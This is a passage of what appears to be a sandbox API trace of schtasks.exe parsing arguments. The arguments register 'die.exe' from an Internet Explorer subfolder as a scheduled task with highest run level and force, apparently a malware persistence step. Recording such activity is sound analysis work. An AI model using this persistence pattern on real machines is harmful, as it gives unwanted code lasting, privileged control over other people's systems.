(lpStart="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'" [0077.248] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.248] GetProcessHeap () returned 0x3a0000 [0077.248] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bc430 [0077.248] _memicmp (_Buf1=0x3bc430, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.248] GetProcessHeap () returned 0x3a0000 [0077.248] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xe) returned 0x3bc450 [0077.248] GetProcessHeap () returned 0x3a0000 [0077.248] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bc470 [0077.248] _memicmp (_Buf1=0x3bc470, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.248] GetProcessHeap () returned 0x3a0000 [0077.248] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x76) returned 0x3bc490 [0077.248] SetLastError (dwErrCode=0x7a) [0077.248] SetLastError (dwErrCode=0x0) [0077.248] SetLastError (dwErrCode=0x0) [0077.248] lstrlenW (lpString="'C") returned 2 [0077.248] lstrlenW (lpString="-/") returned 2 [0077.248] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0077.248] SetLastError (dwErrCode=0x490) [0077.248] SetLastError (dwErrCode=0x490) [0077.249] SetLastError (dwErrCode=0x0) [0077.249] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.249] GetProcessHeap () returned 0x3a0000 [0077.249] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x74) returned 0x3bc510 [0077.249] GetProcessHeap () returned 0x3a0000 [0077.249] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bce40 [0077.249] SetLastError (dwErrCode=0x0) [0077.249] SetLastError (dwErrCode=0x0) [0077.249] lstrlenW (lpString="/rl") returned 3 [0077.249] lstrlenW (lpString="-/") returned 2 [0077.249] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.249] lstrlenW (lpString="?") returned 1 [0077.249] lstrlenW (lpString="?") returned 1 [0077.249] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.249] lstrlenW (lpString="rl") returned 2 [0077.249] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.249] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|?|") returned 3 [0077.249] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|rl|") returned 4 [0077.249] lstrlenW (lpString="|?|") returned 3 [0077.249] lstrlenW (lpString="|rl|") returned 4 [0077.249] SetLastError (dwErrCode=0x490) [0077.249] lstrlenW (lpString="create") returned 6 [0077.249] lstrlenW (lpString="create") returned 6 [0077.249] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.249] lstrlenW (lpString="rl") returned 2 [0077.249] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.249] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|create|") returned 8 [0077.250] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|rl|") returned 4 [0077.250] lstrlenW (lpString="|create|") returned 8 [0077.250] lstrlenW (lpString="|rl|") returned 4 [0077.250] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0077.250] SetLastError (dwErrCode=0x490) [0077.250] lstrlenW (lpString="delete") returned 6 [0077.250] lstrlenW (lpString="delete") returned 6 [0077.250] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.250] lstrlenW (lpString="rl") returned 2 [0077.250] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.250] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|delete|") returned 8 [0077.250] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|rl|") returned 4 [0077.250] lstrlenW (lpString="|delete|") returned 8 [0077.250] lstrlenW (lpString="|rl|") returned 4 [0077.250] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0077.250] SetLastError (dwErrCode=0x490) [0077.250] lstrlenW (lpString="query") returned 5 [0077.250] lstrlenW (lpString="query") returned 5 [0077.250] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.250] lstrlenW (lpString="rl") returned 2 [0077.250] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.250] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|query|") returned 7 [0077.250] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|rl|") returned 4 [0077.250] lstrlenW (lpString="|query|") returned 7 [0077.251] lstrlenW (lpString="|rl|") returned 4 [0077.251] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0077.251] SetLastError (dwErrCode=0x490) [0077.251] lstrlenW (lpString="change") returned 6 [0077.251] lstrlenW (lpString="change") returned 6 [0077.251] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.251] lstrlenW (lpString="rl") returned 2 [0077.251] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.251] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|change|") returned 8 [0077.251] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|rl|") returned 4 [0077.251] lstrlenW (lpString="|change|") returned 8 [0077.251] lstrlenW (lpString="|rl|") returned 4 [0077.251] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0077.251] SetLastError (dwErrCode=0x490) [0077.251] lstrlenW (lpString="run") returned 3 [0077.251] lstrlenW (lpString="run") returned 3 [0077.251] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.251] lstrlenW (lpString="rl") returned 2 [0077.251] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.251] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|run|") returned 5 [0077.251] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|rl|") returned 4 [0077.251] lstrlenW (lpString="|run|") returned 5 [0077.251] lstrlenW (lpString="|rl|") returned 4 [0077.251] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0077.251] SetLastError (dwErrCode=0x490) [0077.252] lstrlenW (lpString="end") returned 3 [0077.252] lstrlenW (lpString="end") returned 3 [0077.252] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.252] lstrlenW (lpString="rl") returned 2 [0077.252] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.252] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|end|") returned 5 [0077.252] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|rl|") returned 4 [0077.252] lstrlenW (lpString="|end|") returned 5 [0077.252] lstrlenW (lpString="|rl|") returned 4 [0077.252] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0077.252] SetLastError (dwErrCode=0x490) [0077.252] lstrlenW (lpString="showsid") returned 7 [0077.252] lstrlenW (lpString="showsid") returned 7 [0077.252] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.252] lstrlenW (lpString="rl") returned 2 [0077.252] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.252] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|showsid|") returned 9 [0077.252] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|rl|") returned 4 [0077.252] lstrlenW (lpString="|showsid|") returned 9 [0077.252] lstrlenW (lpString="|rl|") returned 4 [0077.252] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0077.252] SetLastError (dwErrCode=0x490) [0077.252] SetLastError (dwErrCode=0x490) [0077.252] SetLastError (dwErrCode=0x0) [0077.252] lstrlenW (lpString="/rl") returned 3 [0077.253] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0077.253] SetLastError (dwErrCode=0x490) [0077.253] SetLastError (dwErrCode=0x0) [0077.253] lstrlenW (lpString="/rl") returned 3 [0077.253] GetProcessHeap () returned 0x3a0000 [0077.253] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x8) returned 0x3bc590 [0077.253] GetProcessHeap () returned 0x3a0000 [0077.253] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bce70 [0077.253] SetLastError (dwErrCode=0x0) [0077.253] SetLastError (dwErrCode=0x0) [0077.253] lstrlenW (lpString="HIGHEST") returned 7 [0077.253] lstrlenW (lpString="-/") returned 2 [0077.253] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0077.253] SetLastError (dwErrCode=0x490) [0077.253] SetLastError (dwErrCode=0x490) [0077.253] SetLastError (dwErrCode=0x0) [0077.253] lstrlenW (lpString="HIGHEST") returned 7 [0077.253] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0077.253] SetLastError (dwErrCode=0x490) [0077.253] SetLastError (dwErrCode=0x0) [0077.253] lstrlenW (lpString="HIGHEST") returned 7 [0077.253] GetProcessHeap () returned 0x3a0000 [0077.253] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x10) returned 0x3bd640 [0077.253] GetProcessHeap () returned 0x3a0000 [0077.253] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcea0 [0077.253] SetLastError (dwErrCode=0x0) [0077.253] SetLastError (dwErrCode=0x0) [0077.253] lstrlenW (lpString="/f") returned 2 [0077.253] lstrlenW (lpString="-/") returned 2 [0077.253] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.254] lstrlenW (lpString="?") returned 1 [0077.254] lstrlenW (lpString="?") returned 1 [0077.254] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.254] lstrlenW (lpString="f") returned 1 [0077.254] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.254] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|?|") returned 3 [0077.254] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|f|") returned 3 [0077.254] lstrlenW (lpString="|?|") returned 3 [0077.254] lstrlenW (lpString="|f|") returned 3 [0077.254] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0077.254] SetLastError (dwErrCode=0x490) [0077.254] lstrlenW (lpString="create") returned 6 [0077.254] lstrlenW (lpString="create") returned 6 [0077.254] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.254] lstrlenW (lpString="f") returned 1 [0077.254] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.254] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|create|") returned 8 [0077.254] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|f|") returned 3 [0077.254] lstrlenW (lpString="|create|") returned 8 [0077.254] lstrlenW (lpString="|f|") returned 3 [0077.254] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0077.254] SetLastError (dwErrCode=0x490) [0077.254] lstrlenW (lpString="delete") returned 6 [0077.254] lstrlenW (lpString="delete") returned 6 [0077.254] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.255] lstrlenW (lpString="f") returned 1 [0077.255] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.255] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|delete|") returned 8 [0077.255] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|f|") returned 3 [0077.255] lstrlenW (lpString="|delete|") returned 8 [0077.255] lstrlenW (lpString="|f|") returned 3 [0077.255] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0077.255] SetLastError (dwErrCode=0x490) [0077.255] lstrlenW (lpString="query") returned 5 [0077.255] lstrlenW (lpString="query") returned 5 [0077.255] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.255] lstrlenW (lpString="f") returned 1 [0077.255] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.255] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|query|") returned 7 [0077.255] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|f|") returned 3 [0077.255] lstrlenW (lpString="|query|") returned 7 [0077.255] lstrlenW (lpString="|f|") returned 3 [0077.255] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0077.255] SetLastError (dwErrCode=0x490) [0077.255] lstrlenW (lpString="change") returned 6 [0077.255] lstrlenW (lpString="change") returned 6 [0077.255] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.255] lstrlenW (lpString="f") returned 1 [0077.255] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.256] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|change|") returned 8 [0077.256] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|f|") returned 3 [0077.256] lstrlenW (lpString="|change|") returned 8 [0077.256] lstrlenW (lpString="|f|") returned 3 [0077.256] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0077.256] SetLastError (dwErrCode=0x490) [0077.256] lstrlenW (lpString="run") returned 3 [0077.256] lstrlenW (lpString="run") returned 3 [0077.256] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.256] lstrlenW (lpString="f") returned 1 [0077.256] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.256] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|run|") returned 5 [0077.256] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|f|") returned 3 [0077.256] lstrlenW (lpString="|run|") returned 5 [0077.256] lstrlenW (lpString="|f|") returned 3 [0077.256] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0077.256] SetLastError (dwErrCode=0x490) [0077.256] lstrlenW (lpString="end") returned 3 [0077.256] lstrlenW (lpString="end") returned 3 [0077.256] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.256] lstrlenW (lpString="f") returned 1 [0077.256] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.256] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|end|") returned 5 [0077.256] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|f|") returned 3 [0077.256] lstrlenW (lpString="|end|") returned 5 [0077.257] lstrlenW (lpString="|f|") returned 3 [0077.257] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0077.257] SetLastError (dwErrCode=0x490) [0077.257] lstrlenW (lpString="showsid") returned 7 [0077.257] lstrlenW (lpString="showsid") returned 7 [0077.257] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.257] lstrlenW (lpString="f") returned 1 [0077.257] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.257] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|showsid|") returned 9 [0077.257] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f5b8 | out: _Buffer="|f|") returned 3 [0077.257] lstrlenW (lpString="|showsid|") returned 9 [0077.257] lstrlenW (lpString="|f|") returned 3 [0077.257] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0077.257] SetLastError (dwErrCode=0x490) [0077.257] SetLastError (dwErrCode=0x490) [0077.257] SetLastError (dwErrCode=0x0) [0077.257] lstrlenW (lpString="/f") returned 2 [0077.257] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0077.257] SetLastError (dwErrCode=0x490) [0077.257] SetLastError (dwErrCode=0x0) [0077.257] lstrlenW (lpString="/f") returned 2 [0077.257] GetProcessHeap () returned 0x3a0000 [0077.257] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x6) returned 0x3bde10 [0077.257] GetProcessHeap () returned 0x3a0000 [0077.257] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bced0 [0077.257] SetLastError (dwErrCode=0x0) [0077.257] GetProcessHeap () returned 0x3a0000 [0077.258] GetProcessHeap () returned 0x3a0000 [0077.258] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc320) returned 1 [0077.258] GetProcessHeap () returned 0x3a0000 [0077.258] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc320) returned 0x8 [0077.258] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc320 | out: hHeap=0x3a0000) returned 1 [0077.258] GetProcessHeap () returned 0x3a0000 [0077.258] GetProcessHeap () returned 0x3a0000 [0077.258] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd50) returned 1 [0077.258] GetProcessHeap () returned 0x3a0000 [0077.258] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcd50) returned 0x20 [0077.258] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd50 | out: hHeap=0x3a0000) returned 1 [0077.258] GetProcessHeap () returned 0x3a0000 [0077.258] GetProcessHeap () returned 0x3a0000 [0077.258] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc3b0) returned 1 [0077.258] GetProcessHeap () returned 0x3a0000 [0077.259] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc3b0) returned 0x8 [0077.259] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc3b0 | out: hHeap=0x3a0000) returned 1 [0077.259] GetProcessHeap () returned 0x3a0000 [0077.259] GetProcessHeap () returned 0x3a0000 [0077.259] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd80) returned 1 [0077.259] GetProcessHeap () returned 0x3a0000 [0077.259] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcd80) returned 0x20 [0077.259] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd80 | out: hHeap=0x3a0000) returned 1 [0077.259] GetProcessHeap () returned 0x3a0000 [0077.259] GetProcessHeap () returned 0x3a0000 [0077.260] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc3d0) returned 1 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc3d0) returned 0x8 [0077.260] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc3d0 | out: hHeap=0x3a0000) returned 1 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcdb0) returned 1 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcdb0) returned 0x20 [0077.260] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcdb0 | out: hHeap=0x3a0000) returned 1 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc3f0) returned 1 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc3f0) returned 0x10 [0077.260] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc3f0 | out: hHeap=0x3a0000) returned 1 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] GetProcessHeap () returned 0x3a0000 [0077.260] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcde0) returned 1 [0077.261] GetProcessHeap () returned 0x3a0000 [0077.261] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcde0) returned 0x20 [0077.261] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcde0 | out: hHeap=0x3a0000) returned 1 [0077.261] GetProcessHeap () returned 0x3a0000 [0077.261] GetProcessHeap () returned 0x3a0000 [0077.261] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc410) returned 1 [0077.261] GetProcessHeap () returned 0x3a0000 [0077.261] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc410) returned 0x8 [0077.261] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc410 | out: hHeap=0x3a0000) returned 1 [0077.261] GetProcessHeap () returned 0x3a0000 [0077.261] GetProcessHeap () returned 0x3a0000 [0077.261] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce10) returned 1 [0077.261] GetProcessHeap () returned 0x3a0000 [0077.261] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bce10) returned 0x20 [0077.261] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce10 | out: hHeap=0x3a0000) returned 1 [0077.262] GetProcessHeap () returned 0x3a0000 [0077.262] GetProcessHeap () returned 0x3a0000 [0077.262] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc510) returned 1 [0077.262] GetProcessHeap () returned 0x3a0000 [0077.262] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc510) returned 0x74 [0077.262] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc510 | out: hHeap=0x3a0000) returned 1 [0077.262] GetProcessHeap () returned 0x3a0000 [0077.262] GetProcessHeap () returned 0x3a0000 [0077.262] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce40) returned 1 [0077.262] GetProcessHeap () returned 0x3a0000 [0077.262] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bce40) returned 0x20 [0077.263] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce40 | out: hHeap=0x3a0000) returned 1 [0077.263] GetProcessHeap () returned 0x3a0000 [0077.263] GetProcessHeap () returned 0x3a0000 [0077.263] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc590) returned 1 [0077.263] GetProcessHeap () returned 0x3a0000 [0077.263] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc590) returned 0x8 [0077.263] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc590 | out: hHeap=0x3a0000) returned 1 [0077.263] GetProcessHeap () returned 0x3a0000 [0077.263] GetProcessHeap () returned 0x3a0000 [0077.263] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce70) returned 1 [0077.263] GetProcessHeap () returned 0x3a0000 [0077.263] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bce70) returned 0x20 [0077.263] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bce70 | out: hHeap=0x3a0000) returned 1 [0077.263] GetProcessHeap () returned 0x3a0000 [0077.263] GetProcessHeap () returned 0x3a0000 [0077.264] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd640) returned 1 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bd640) returned 0x10 [0077.264] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd640 | out: hHeap=0x3a0000) returned 1 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcea0) returned 1 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bcea0) returned 0x20 [0077.264] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcea0 | out: hHeap=0x3a0000) returned 1 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bde10) returned 1 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bde10) returned 0x6 [0077.264] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bde10 | out: hHeap=0x3a0000) returned 1 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bced0) returned 1 [0077.264] GetProcessHeap () returned 0x3a0000 [0077.264] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bced0) returned 0x20 [0077.265] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bced0 | out: hHeap=0x3a0000) returned 1 [0077.265] GetProcessHeap () returned 0x3a0000 [0077.265] GetProcessHeap () returned 0x3a0000 [0077.265] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5550) returned 1 [0077.265] GetProcessHeap () returned 0x3a0000 [0077.265] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5550) returned 0x18 [0077.265] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5550 | out: hHeap=0x3a0000) returned 1 [0077.265] SetLastError (dwErrCode=0x0) [0077.265] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0077.265] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0077.265] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0077.266] VerifyVersionInfoW (in: lpVersionInformation=0x27c610, dwTypeMask=0x3, 